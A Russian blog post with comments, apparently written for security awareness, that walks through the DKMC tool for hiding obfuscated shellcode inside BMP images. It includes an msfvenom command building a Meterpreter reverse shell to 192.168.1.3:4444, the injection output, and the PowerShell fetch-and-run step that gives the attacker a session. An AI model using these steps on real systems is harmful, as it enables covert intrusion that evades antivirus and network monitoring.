Может ли обычная картинка нести угрозу и стоит ли обращать внимание на факт загрузки изображений при разборе инцидентов информационной безопасности? На этот и другие вопросы мы ответим в данном тексте на примере работы инструмента DKMC (Don't Kill My Cat).

В чем суть?


Посмотрите на изображение ниже



Видите ли вы в нем что-то странное?

Я не вижу ничего необычного. Данное изображение загружено на сайт в формате jpeg, но его оригинал хранится в формате bmp. Если посмотреть на исходный bmp-файл в HEX-редакторе, то никаких бросающихся в глаза странностей мы тоже не увидим.



Однако это изображение содержит обфусцированный шеллкод по адресу 0x00200A04. В то же время мы не видим никаких странных пикселей на изображении. Дело в том, что в BMP заголовке высота изображения была искусственно уменьшена. В полном размере изображение выглядело бы так. Обратите внимание на правый верхний угол.



Высота оригинального изображения на 5 пикселей больше, чем вредоносного, но для человека это обычно не заметно.

Инъекция возможна из-за того, что байты, указывающие на тип файла, с которых и начинается файл, BM в ASCII, в шестнадцатеричном виде — 42 4D, при конвертации в инструкции ассемблера не приводят к ошибке выполнения, а дальнейшие 8 байт заголовка никак не влияют на интерпретацию изображения. Так что, можно заполнить эти 8 байт любыми инструкциями ассемблера, например записать в них jmp-инструкцию, которая укажет на шелл-код, хранимый в изображении, т.е. на 0x00200A04.

Далее нужно лишь как-то выполнить код, хранимый в изображении, вместо его просмотра в графическом виде.

Для этого может использоваться, например, набор PowerShell команд.

Все описанные мной действия уже автоматизированы и собраны воедино в инструменте DKMC, который мы рассмотрим ниже.

Это правда работает?


Инструмент доступен на GitHub и не требует установки. Там же, в репозитории, есть презентация, подробно описывающая принцип работы DKMC.

Запуск

python dkmc.py

Нам доступно несколько действий



Для начала нужно создать шеллкод. Для этого можно воспользоваться msfvenom

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=4444 -f raw > mycode

Будет сгенерирован бек-коннект шелл на хост 192.168.1.3, порт 4444, в бинарном виде.

Далее используется опция меню sc, чтобы преобразовать код в HEX формат для его использования вдальнейшем



Далее выбирается изображение в формате BMP для инъекции шеллкода при помощи команды gen



и получаем вывод

(generate)>>> run
	[+] Image size is 1000 x 700
	[+] Generating obfuscation key 0x14ae6c1d
	[+] Shellcode size 0x14d (333) bytes
	[+] Adding 3 bytes of padding
	[+] Generating magic bytes 0x4d9d392d
	[+] Final shellcode length is 0x19f (415) bytes
	[+] New BMP header set to 0x424de9040a2000
	[+] New height is 0xb7020000 (695)
	[+] Successfully save the image. (/root/av_bypass/DKMC/output/prettycat.bmp)

Здесь сказано, что шелл-код был обфусцирован, указаны его итоговый размер, видоизмененный BMP заголовок с jump инструкцией и сказано, что высота сократилась с 700 пикселей до 695.

Далее при помощи команды ps можно сгенерировать powershell команду для загрузки данного изображения с веб-сервера и последующего его выполнения



и при помощи команды web можно тут же запустить веб-сервер для предоставления этого изображения



Я запущу сниффер Wireshark и посмотрю, что происходит в сети при запуске Powershell скрипта на стороне жертвы



Жертва инициирует обыкновенный HTTP запрос и получает картинку, а мы сессию метерпретера



Так как изображение нельзя запустить «нормальными» способами, то и средства защиты и технические специалисты могут «легкомысленно» относиться к его содержимому. Данный пример призывает внимательно относиться к настройке систем предотвращения вторжений, следить за новостями в мире информационной безопасности и быть на чеку.

Комментарии (14)


  1. tyomitch
    26.09.2017 14:23
    +5

    Ничего не понял.
    Если злоумышленник имеет возможность выполнить PowerShell-команду на машине жертвы, то при помощи «шелл-кота» он… получит возможность выполнять код на машине жертвы?
    Серьёзно? А для чего тогда «шелл-кот», если выполнять код на его машине можно и просто так?


    1. antgorka Автор
      26.09.2017 14:35
      +1

      Смысл в сокрытии. Шелл-код передается на машину жертвы в виде изображения и файл выглядят в точности как нормальное изображение. Нет ничего необычного в передаче изображения по сети и этот факт может привести к тому, что подобный трафик никак не инспектируется средствами защиты и картинка не будет проверяться антивирусным ПО, даже, если хранится на файловой системе. Антивирус не будет пытаться "запустить" картинку в песочнице, а если Вы передадите шелл-код в виде исполняемого файла, то антивирус может выполнить его в песочнице и заблокировать. То, что мы "запускаем" картинку через Powershell — это, считайте, Proof-of-Concept. Факт, есть, факт, что BMP изображение может являться и картинкой, и шелл-кодом одновременно. Смотря как на это смотреть. Надеюсь, я правильно понял Ваш вопрос и ответил на него корректно.


      1. tyomitch
        26.09.2017 14:52
        +2

        Шелл-код передается на машину жертвы в виде изображения и файл выглядят в точности как нормальное изображение.

        В чём специфика того, что это изображение? Точно так же шелл-код можно засунуть в середину war_and_peace.txt, даже никакие заголовки не придётся править.

        То, что мы «запускаем» картинку через Powershell — это, считайте, Proof-of-Concept.

        Так а схема атаки-то какая? Предполагается, что фаервол жертвы не разрешит скачать шелл-код в открытом виде, но разрешит скачать некий эксплойт, скачивающий «шелл-кота» и запускающий его?

        Факт, есть, факт, что BMP изображение может являться и картинкой, и шелл-кодом одновременно.

        Надо же, какая новость.


        1. antgorka Автор
          26.09.2017 15:10

          А то, что в середине war_and_piece.txt будет ассемблерный код Вас не смущает? Думаете, это никто не заметит? Так же ваш War and Piece должен начинаться с ассемблерных инструкций, которые не вызовут ошибку, так что "серединой книги" не обойдется. В примере выше картинка будет выглядеть точно так же, как и обычные "котики", но одновременно будет являться и шелл-кодом.


          Схема атаки здесь не описывается. Здесь описывается способ передачи шелл-кода в виде, в котором он с высокой долей вероятности не будет обнаружен средствами защиты ни во время передачи по сети, ни после передачи.


          То что запускает жертва в виде PowerShell скрипта не является эксплойтом и не несет в себе вредоносный код. Это скрипт для скачивания картинки из интернета и проведение с ней каких-то манипуляций. Так что в чем проблема передачи такого файла по сети?


          Касательно Rarjpeg — здесь иной принцип работы, не имеющий отношения к принципу, по которому работает DKMC.


          1. tyomitch
            26.09.2017 15:56
            +2

            А то, что в середине war_and_piece.txt будет ассемблерный код Вас не смущает? Думаете, это никто не заметит?

            Фаервол — наверняка не заметит, раз «отрезанные пять пикселов» (т.е. заголовок, не соответствующий содержимому) у BMP-изображения не заметил.

            Так же ваш War and Piece должен начинаться с ассемблерных инструкций, которые не вызовут ошибку, так что «серединой книги» не обойдется.

            Тот самый «скрипт-запускатель», который запускает payload начиная с первого байта, точно так же может его запускать и начиная с байта 0x00200A04.

            Касательно Rarjpeg — здесь иной принцип работы, не имеющий отношения к принципу, по которому работает DKMC.

            Поздравляю с изобретением более сложного способа добиться в точности того же результата, которого можно добиться простым и широко известным.


    1. onyxmaster
      26.09.2017 14:36
      +1

      Потому что можно тихо пробраться мимо IDS (IPS, NGFW, называйте как хотите), которая не ждёт, что payload, для которого у него есть сигнатура, будет лежать в картинке.


  1. GreyPhantom
    26.09.2017 16:38
    -1

    А котик-то какой няшный!


  1. as3
    27.09.2017 01:16
    +3

    'сегодня в 13:37'

    Стоило того.


  1. Arris
    27.09.2017 02:02

    Окей.
    BMP.

    Какие еще форматы файлов, которые могут загружаться на сервер (пользователем), подвержены данной уязвимости?

    И какие вы можете предложить средства предотвращения этой уязвимости?


    1. KVL01
      27.09.2017 15:50

      Предотвратить элементарно – провести массовую конвертацию в другой формат, или в тот же, но убедиться, что выбранный конвертер действительно перезаписывает файл. Эти проги, как правило, пропускают части файла, которые им неизвестны, так что на выходе получите чистую картинку с правильным заголовком.


  1. KVL01
    27.09.2017 14:09

    Промазал, это был ответ для Arris

    Возможно, TGA — схожая структура файла. Другое интересно — кто использует эти форматы для передачи по сети?

    Выше уже указали на давно известный rarjpeg.

    И вот ещё история была, но тоже маловероятно в виду «распространённости» формата.

    Я бы использовал PNG — широко распростанён, и туда что угодно можно засунуть, хоть скомпиленный EXE, но сложнее. В гифку — тоже.


    1. antgorka Автор
      27.09.2017 14:27

      Спасибо за ссылки по теме! Это правильно.


      Многие вещи в мире информационной безопасности делаются не для того чтобы кому-то навредить, а с научной целью. Подобные тексты расширяют кругозор, предлагают алгоритмы поиска уязвимостей, вовлекают людей в Open Source разработку, учат чему-то новому.


      Но Судя по плюсам к комментариям я могу судить, что большинство читателей ждут какие-то шаги раз, два, три, как проэксплуатировать конкретную систему, хотя ни название, ни пре-текст материала ничего подобного не обещают.


      Надеюсь, что тем 22-м проголосовавшим "вверх" этот материал показался полезным и они нашли в нем что-то новое для себя, а всем кто голосует "вниз" предлагаю внести вклад в хаб по информационной безопасности, чтобы мы все узнали что-то новое.


      1. tyomitch
        27.09.2017 15:54
        +1

        Но Судя по плюсам к комментариям я могу судить, что большинство читателей ждут какие-то шаги раз, два, три, как проэксплуатировать конкретную систему, хотя ни название, ни пре-текст материала ничего подобного не обещают.

        Первые слова вашего текста: «Может ли обычная картинка нести угрозу...».
        После такого хотелось бы в статье прочитать про «угрозу в картинках», а вместо этого в ней про «угрозу в скрипте, позволяющем скачивать абы что, и запускать вытащенный оттуда код». И всё это обставлено так, как будто бы в формате BMP есть какая-то уязвимость.

        Свой вклад в хаб по информационной безопасности я внёс неделю назад, вне корпоративного блога и на голом энтузиазме. На здоровье.


        1. antgorka Автор
          27.09.2017 15:56

          Спасибо. Пишите еще, пожалуйста.